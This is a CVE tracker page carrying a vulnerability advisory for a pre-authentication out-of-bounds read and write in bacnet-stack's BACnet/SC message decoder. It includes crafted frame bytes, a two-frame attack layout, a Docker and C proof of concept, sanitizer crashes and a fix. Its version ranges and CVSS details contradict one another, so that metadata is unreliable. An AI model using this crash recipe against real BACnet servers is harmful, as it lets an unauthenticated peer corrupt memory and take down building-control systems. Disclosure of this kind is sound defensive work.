CVE Watchtower

← Back to CVE List

CVE-2026-97692NVD

Vulnerability Summary

Summary The BACnet/SC message decoder walks the header-option list by following each option's MORE bit. Nothing rejects a list whose last option still has the MORE bit set, and the decode walk has no upper bound on how many options it processes. A single crafted BVLC-SC frame makes the walk advance one option past the end of the message and read `message[message_len]`, one byte out of bounds. When the bytes after the message carry more MORE-set option markers, the walk keeps going: it runs past the fixed 4-entry option array and writes decoded option fields out of bounds. On the server that decode array is the static global `bsc_dm`, so the out-of-bounds write lands in adjacent BSS. Both faults are reachable before authentication, from the first frame a peer sends on a BACnet/SC connection, and the bytes that follow the message are the same peer's prior-frame data (see Impact). Affected version - Target: bacnet-stack 1.6.0-rc1 - Commit read: `1068250f197c0cc78b6357374d8be5df7d94b3cc` - Bug is in library code (`src/bacnet/datalink/bsc/bvlc-sc.c`). Crash The impact depends on what memory follows the received message, so the PoC runs three buffer conditions. Two of them fault in library code: ``` case 1 (exact-size buffer): AddressSanitizer: heap-buffer-overflow READ of size 1 at message[message_len] #0 bvlc_sc_decode_option_hdr bvlc-sc.c:557 #1 bvlc_sc_decode_header_options bvlc-sc.c:1841 #2 bvlc_sc_decode_message case 3 (trailing bytes = chained MORE-set proprietary options): AddressSanitizer: stack-buffer-overflow WRITE of size 8 #0 bvlc_sc_decode_proprietary_option bvlc-sc.c:601 #1 bvlc_sc_decode_header_options bvlc-sc.c:1848 #2 bvlc_sc_decode_message ``` Root cause The option-list validator terminates only on a cleared MORE bit. It never rejects a list whose last option still has MORE set, and it has no post-loop trailing-MORE check: `src/bacnet/datalink/bsc/bvlc-sc.c:215` ```c if (!(flags & BVLC_SC_HEADER_MORE)) { break; } } out_option_headers_real_length = options_len; ``` The decode walk then loops on `next_option` with no bound of its own: `src/bacnet/datalink/bsc/bvlc-sc.c:1840` ```c while (next_option) { bvlc_sc_decode_option_hdr( options_list, &option_array[i].type, &option_array[i].must_understand, &next_option); option_array[i].packed_header_marker = options_list[0]; ``` For the last option, because MORE is set, `bvlc_sc_decode_option_hdr` advances `next_option` past the buffer: `src/bacnet/datalink/bsc/bvlc-sc.c:571` ```c *out_next_option = in_options_list + hdr_len; ``` For the last option that value equals `&message[message_len]`. On the next iteration `in_options_list` points one past the message and line 557 dereferences it: `src/bacnet/datalink/bsc/bvlc-sc.c:557` ```c *out_opt_type = (BVLC_SC_OPTION_TYPE)(in_options_list[0] & BVLC_SC_HEADER_OPTION_TYPE_MASK); ``` The array-overflow guard in `bvlc_sc_decode_message` checks the validated option count, not the number of iterations the unbounded walk performs, so it does not stop the over-read: `src/bacnet/datalink/bsc/bvlc-sc.c:1923` ```c if (message->hdr.dest_options_num > BVLC_SC_HEADER_OPTION_MAX) { ``` `dest_options[]` and `data_options[]` hold `BVLC_SC_HEADER_OPTION_MAX` (4) entries. Once the walk runs past index 3, `bvlc_sc_decode_proprietary_option` (called at line 1848 with `&option_array[i].specific.proprietary.`) writes its out-params through those out-of-bounds addresses: `src/bacnet/datalink/bsc/bvlc-sc.c:601` ```c out_proprietary_data = NULL; ``` That is the out-of-bounds write confirmed in case 3 below (`WRITE of size 8` past the option array). Reproduction The message is a valid ADDRESS_RESOLUTION frame carrying one proprietary destination-header option whose MORE bit is set and whose length exactly fills the option region: ``` [0]=0x02 BVLC function = ADDRESS_RESOLUTION (needs no payload / no data options) [1]=0x02 control flags = DEST_OPTIONS [2]=0x00 message id lo [3]=0x00 message id hi [4]=0xBF option marker = PROPRIETARY | HEADER_DATA | MORE [5]=0x03 header length lo (3, the minimum) [6]=0x00 header length hi [7]=0x00 vendor id lo [8]=0x00 vendor id hi [9]=0x00 proprietary option type ``` The single proprietary option consumes exactly the 6 bytes of the option region (`message_len - 4`), so validation returns with one option and no bytes remaining, but that option carries MORE. The decode walk follows MORE past `message[10]`. Because the production call is `bvlc_sc_decode_message(rx_buf, rx_buf_size, ...)` (bsc-socket.c) where `rx_buf_size` is the received length and `rx_buf` is a larger WebSocket receive buffer, the memory-safety impact depends on the bytes after the message. The PoC runs three conditions against the real decoder: - Case 1, exact-size buffer: reading `message[10]` is a true heap out-of-bounds READ (`bvlc-sc.c:557`). This proves the missing bound. - Case 2, 1500-byte buffer with the trailing bytes zeroed (a plausible production layout): the extra option byte is zero with MORE clear, the walk stops, and decode returns with no fault. So the over-read is benign when the RX buffer past the message is zeroed. - Case 3, 1500-byte buffer whose trailing bytes are chained MORE-set proprietary options (the prior-frame residue an attacker plants, see below): the walk keeps iterating, `i` runs past the 4-entry option array, and `bvlc_sc_decode_proprietary_option` writes past it, an out-of-bounds WRITE of size 8 at `bvlc-sc.c:601`. On the server the overflowed array lives in the static global `bsc_dm`, so this is a BSS overflow; the harness reports it as a stack overflow only because its decode struct is a local. Reachability is pre-authentication. `bvlc_sc_decode_message` runs on the raw WebSocket frame in `bsc_process_socket_state` / `bsc_process_srv_awaiting_request` (bsc-socket.c), on the first message a connecting peer sends, before the Connect-Request handshake completes. No credentials, no valid handshake, and no keys are required to reach the decoder. Reproduction status: yes-rebuilt-and-ran. Cases 1 and 3 abort under AddressSanitizer with the top frames in library code; case 2 returns cleanly. Proof of Concept Self-contained. `docker build` clones the target at the pinned commit and builds it under AddressSanitizer + UndefinedBehaviorSanitizer; `docker run` feeds the crafted input and reproduces the fault. Save the files below into a `poc/` directory and: ``` docker build -t poc . && docker run --rm poc ``` <details> <summary>Sanitizer output</summary> ``` ==== CASE 1 ==== ================================================================= ==7==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50200000001a at pc 0x564249eebbf5 bp 0x7ffe103305c0 sp 0x7ffe103305b8 READ of size 1 at 0x50200000001a thread T0 #0 0x564249eebbf4 in bvlc_sc_decode_option_hdr /src/src/bacnet/datalink/bsc/bvlc-sc.c:557:43 #1 0x564249eebbf4 in bvlc_sc_decode_header_options /src/src/bacnet/datalink/bsc/bvlc-sc.c:1841:9 #2 0x564249ee766e in bvlc_sc_decode_message /src/src/bacnet/datalink/bsc/bvlc-sc.c #3 0x564249ee3ac0 in decode /work/poc.c:16:14 #4 0x564249ee3ac0 in main /work/poc.c:24:52 0x50200000001a is located 0 bytes after 10-byte region [0x502000000010,0x50200000001a) allocated by thread T0 here: #0 0x564249ea5223 in malloc (/work/poc+0x135223) (BuildId: 0e5d1cddc35ed8437872babbbe81453b2983ad10) #1 0x564249ee39ed in main /work/poc.c:24:22 SUMMARY: AddressSanitizer: heap-buffer-overflow /src/src/bacnet/datalink/bsc/bvlc-sc.c:557:43 in bvlc_sc_decode_option_hdr Shadow bytes around the buggy address: 0x501ffffffd80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x501ffffffe00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x501ffffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x501fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x501fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x502000000000: fa fa 00[02]fa fa fa fa fa fa fa fa fa fa fa fa 0x502000000080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x502000000100: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x502000000180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x502000000200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x502000000280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==7==ABORTING rc=1 ==== CASE 2 ==== [case2] PRODUCTION-like: 1500-byte RX buffer, msg_len=10, slack ZEROED decode returned 1 (ec=0 ecl=0 desc=(null)) [survived, no abort] rc=0 ==== CASE 3 ==== ================================================================= ==11==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fbdbf4001d0 at pc 0x561164ee1b49 bp 0x7fff10f77020 sp 0x7fff10f77018 WRITE of size 8 at 0x7fbdbf4001d0 thread T0 #0 0x561164ee1b48 in bvlc_sc_decode_proprietary_option /src/src/bacnet/datalink/bsc/bvlc-sc.c:601:27 #1 0x561164ee1b48 in bvlc_sc_decode_header_options /src/src/bacnet/datalink/bsc/bvlc-sc.c:1848:13 #2 0x561164edd66e in bvlc_sc_decode_message /src/src/bacnet/datalink/bsc/bvlc-sc.c #3 0x561164ed9f3a in decode /work/poc.c:16:14 #4 0x561164ed9f3a in main /work/poc.c:33:9 Address 0x7fbdbf4001d0 is located in stack of thread T0 at offset 464 in frame #0 0x561164ed97d7 in main /work/poc.c:20 This frame has 12 object(s): [32, 464) 'dm.i128' (line 14) <== Memory access at offset 464 overflows this variable [528, 530) 'ec.i129' (line 15) [544, 546) 'ecl.i130' (line 15) [560, 568) 'd.i131' (line 15) [592, 1024) 'dm.i117' (line 14) [1088, 1090) 'ec.i118' (line 15) [1104, 1106) 'ecl.i119' (line 15) [1120, 1128) 'd.i120' (line 15) [1152, 1584) 'dm.i' (line 14) [1648, 1650) 'ec.i' (line 15) [1664, 1666) 'ecl.i' (line 15) [1680, 1688) 'd.i' (line 15) HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork (longjmp and C++ exceptions *are supported) SUMMARY: AddressSanitizer: stack-buffer-overflow /src/src/bacnet/datalink/bsc/bvlc-sc.c:601:27 in bvlc_sc_decode_proprietary_option Shadow bytes around the buggy address: 0x7fbdbf3fff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7fbdbf3fff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7fbdbf400000: f1 f1 f1 f1 00 00 00 00 00 00 00 00 00 00 00 00 0x7fbdbf400080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7fbdbf400100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x7fbdbf400180: 00 00 00 00 00 00 00 00 00 00[f2]f2 f2 f2 f2 f2 0x7fbdbf400200: f2 f2 02 f2 02 f2 00 f2 f2 f2 f8 f8 f8 f8 f8 f8 0x7fbdbf400280: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 0x7fbdbf400300: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 0x7fbdbf400380: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 0x7fbdbf400400: f2 f2 f2 f2 f2 f2 f2 f2 f8 f2 f8 f2 f8 f2 f2 f2 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==11==ABORTING rc=1 ``` </details> <details> <summary>Dockerfile</summary> ```dockerfile Self-contained reproducer for the BACnet/SC trailing-MORE option-walk over-read. Clones bacnet-stack at the pinned commit, builds poc.c against the real bvlc_sc_decode_message under ASan+UBSan, and runs three buffer conditions: case 1 exact-size 10-byte buffer -> heap OOB READ (proves the missing bound) case 2 1500-byte RX buffer, zeroed -> survives (benign under a zeroed RX buffer) case 3 1500-byte RX buffer, adjacent memory holds chained MORE-set options -> stack OOB WRITE in bvlc_sc_decode_proprietary_option docker build -t poc . && docker run --rm poc FROM ubuntu:24.04 ENV DEBIAN_FRONTEND=noninteractive ARG COMMIT=1068250f197c0cc78b6357374d8be5df7d94b3cc RUN apt-get update && apt-get install -y --no-install-recommends \ git ca-certificates clang llvm libclang-rt-18-dev && rm -rf /var/lib/apt/lists/ RUN git clone https://github.com/bacnet-stack/bacnet-stack /src && git -C /src checkout "$COMMIT" WORKDIR /src COPY poc.c /work/poc.c RUN clang -fsanitize=address,undefined -fno-sanitize-recover=undefined -g -O1 -I/src/src \ /work/poc.c /src/src/bacnet/datalink/bsc/bvlc-sc.c \ $(ls /src/src/bacnet/.c) /src/src/bacnet/basic/sys/days.c \ -o /work/poc CMD ["/bin/bash","-c","for c in 1 2 3; do echo ==== CASE $c ====; /work/poc $c; echo rc=$?; echo; done"] ``` </details> <details> <summary>poc.c</summary> ```c / Verify the REAL impact of the BVLC-SC trailing-MORE over-read under three buffer conditions. argv[1] selects the case (each run is its own process so an abort in one does not hide the others). / include <stdint.h> include <stdlib.h> include <string.h> include <stdio.h> include "bacnet/bacdef.h" include "bacnet/datalink/bsc/bvlc-sc.h" static const uint8_t MSG[10] = {0x02,0x02,0x00,0x00,0xBF,0x03,0x00,0x00,0x00,0x00}; static void decode(uint8_t buf, size_t len){ BVLC_SC_DECODED_MESSAGE dm; memset(&dm,0,sizeof dm); uint16_t ec=0,ecl=0; const char *d=NULL; int ok = bvlc_sc_decode_message(buf,len,&dm,&ec,&ecl,&d); printf(" decode returned %d (ec=%u ecl=%u desc=%s)\n", ok, ec, ecl, d?d:"(null)"); } int main(int argc, char argv){ int c = argc>1 ? atoi(argv[1]) : 0; if (c==1){ printf("[case1] EXACT-size 10-byte buffer (what the shipped PoC uses)\n"); uint8_t *b = malloc(10); memcpy(b,MSG,10); decode(b,10); free(b); } else if (c==2){ printf("[case2] PRODUCTION-like: 1500-byte RX buffer, msg_len=10, slack ZEROED\n"); uint8_t *b = calloc(1,1500); memcpy(b,MSG,10); decode(b,10); free(b); } else if (c==3){ printf("[case3] adversarial slack: 1500-byte buffer, msg_len=10, slack = 0xBF 0x03 0x00 ... (MORE-set proprietary options)\n"); uint8_t *b = malloc(1500); memcpy(b,MSG,10); for(int i=10;i+5<1500;i+=6){ b[i]=0xBF; b[i+1]=0x03; b[i+2]=0; b[i+3]=0; b[i+4]=0; b[i+5]=0; } / chain of MORE-set proprietary options */ decode(b,10); free(b); } printf(" [survived, no abort]\n"); return 0; } ``` </details> Adjacent memory is attacker-controlled on the server The memory-safety outcome depends on the bytes after the received message, and on the Linux server transport those bytes are the same pre-auth peer's prior-frame data. The WebSocket server keeps one persistent receive buffer per connection, allocated once and freed only when the connection closes: `ports/linux/websocket-srv.c:57` ```c uint8_t *fragment_buffer; ``` After each dispatched frame only the length is reset, not the contents: `ports/linux/websocket-srv.c:509` ```c ctx->conn[h].fragment_buffer_len = 0; ``` The decoder is then invoked with `(fragment_buffer, fragment_buffer_len)`, so on the next frame everything past the current frame length is leftover bytes from the peer's previous frames. A peer therefore controls the tail: frame 1 fills `fragment_buffer` with a chain of `0xBF 0x03 00 00 00 00` MORE-set proprietary options, frame 2 is the 10-byte trailing-MORE message. The case-3 layout in the PoC is exactly this residue, reached with two frames on one unauthenticated connection. Impact A remote peer reaches this decoder before it authenticates, and (above) controls the bytes after the message. The over-read past the received message is always triggered; when the residue carries MORE-set markers the unbounded walk runs past the 4-entry option array and `bvlc_sc_decode_proprietary_option` writes decoded fields (`type`, `vendor_id`, out-param pointers) through out-of-bounds addresses. On the server the decode message is the file-static global `bsc_dm` (`bsc-socket.c:43`, `static BVLC_SC_DECODED_MESSAGE bsc_dm = { 0 };`), so the write marches through adjacent BSS globals, one full `BVLC_SC_DECODED_HDR_OPTION` per iteration, bounded only by the physical receive buffer. The ASan label in case 3 below reads `stack-buffer-overflow` only because the decode struct is a local in the PoC harness; in the deployed server the same write is a global/BSS overflow. Severity is high. This is a pre-authentication, remote, deterministically triggerable out-of-bounds write into global memory on a BACnet/SC control-protocol server (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H). The reliable-DoS floor alone (unbounded BSS corruption crashing the server from an unauthenticated peer) is 7.5. Suggested fix Reject a header-option list whose final option still has the MORE bit set: `bvlc_sc_validate_options_headers` should fail when the loop ends on region exhaustion while the last flags byte carried `BVLC_SC_HEADER_MORE`. Independently, bound the decode walk in `bvlc_sc_decode_header_options` with an explicit `i < BVLC_SC_HEADER_OPTION_MAX` check so it can never iterate past the fixed option array or the validated option count. Scope notes The PoC calls the real `bvlc_sc_decode_message` with no shims across all three buffer conditions, so both faults are in library code, not harness setup. Case 2 is included to show the finding honestly: with a zeroed RX buffer the over-read is benign, so the exact-size case 1 overstates everyday impact and the real risk is the case-3 write when the adjacent bytes carry MORE-set options. On the Linux WebSocket server those adjacent bytes are the peer's own prior-frame residue in the persistent `fragment_buffer` (see "Adjacent memory is attacker-controlled"), so the case-3 write is reachable with two frames on one unauthenticated connection. The one artifact of the harness is the ASan `stack-buffer-overflow` label in case 3: the decode struct is a local there, whereas on the server it is the static `bsc_dm`, making the same write a global/BSS overflow. Remediation Modified the handler to reject the header-option list whose final option still has the MORE bit set, as suggested, in PR #1435.
Severity Level
HIGH(7.7)
Published Date
Oct 4, 2026
Last Modified
Oct 4, 2026
Exploitation Status
No confirmed exploitation yet
CVE Record Status
Reserved
This CVE ID is referenced in a public advisory, but the CVE Program has not published its official CVE Record yet. Full CVSS/CPE data from NVD will appear here once it does.
EPSS Score (30-Day)
Data Pending
Root Weakness (CWE)
N/A
CVSS v3.1 Base Metrics — Score 7.7
Attack VectorNetwork
Attack ComplexityHigh
Privileges RequiredNone
User InteractionNone
ScopeUnchanged
ConfidentialityLow
IntegrityHigh
AvailabilityHigh

Affected & Patched Versions

Affected Versions
  • bacnet-stack <= 1.5.0
Patched Versions
  • bacnet-stack 1.4.6, 1.5.2, 1.6.1, 1.7.0
🎁7-Day Free Trial — Try Pro or Team, no card required.
📧Email Delivery — Threat intel straight to your inbox.
♾️Unlimited Vendors — Track your entire stack.
🚨All New CVEs — Be the first to know.
📈EPSS Spike Alerts — Catch rising risk before it peaks.
🎯Custom EPSS/CVSS — Filter noise, focus on risk.
🛡️Exploit Intel — A 2nd confirmed-exploit signal beyond KEV.
🐙GitHub Issues — Auto-tracked, no duplicates.
📬Weekly Digest — One clean summary, not inbox spam.
🏷️Watchlist Groups — Tag alerts by team (Infra/AppSec/SOC).
💬Webhooks — Slack & Teams integration.
🔀Smart Routing — Critical alerts to one channel, rest to another.
🚫Ad-Free — Uninterrupted experience.
🎁7-Day Free Trial — Try Pro or Team, no card required.
📧Email Delivery — Threat intel straight to your inbox.
♾️Unlimited Vendors — Track your entire stack.
🚨All New CVEs — Be the first to know.
📈EPSS Spike Alerts — Catch rising risk before it peaks.
🎯Custom EPSS/CVSS — Filter noise, focus on risk.
🛡️Exploit Intel — A 2nd confirmed-exploit signal beyond KEV.
🐙GitHub Issues — Auto-tracked, no duplicates.
📬Weekly Digest — One clean summary, not inbox spam.
🏷️Watchlist Groups — Tag alerts by team (Infra/AppSec/SOC).
💬Webhooks — Slack & Teams integration.
🔀Smart Routing — Critical alerts to one channel, rest to another.
🚫Ad-Free — Uninterrupted experience.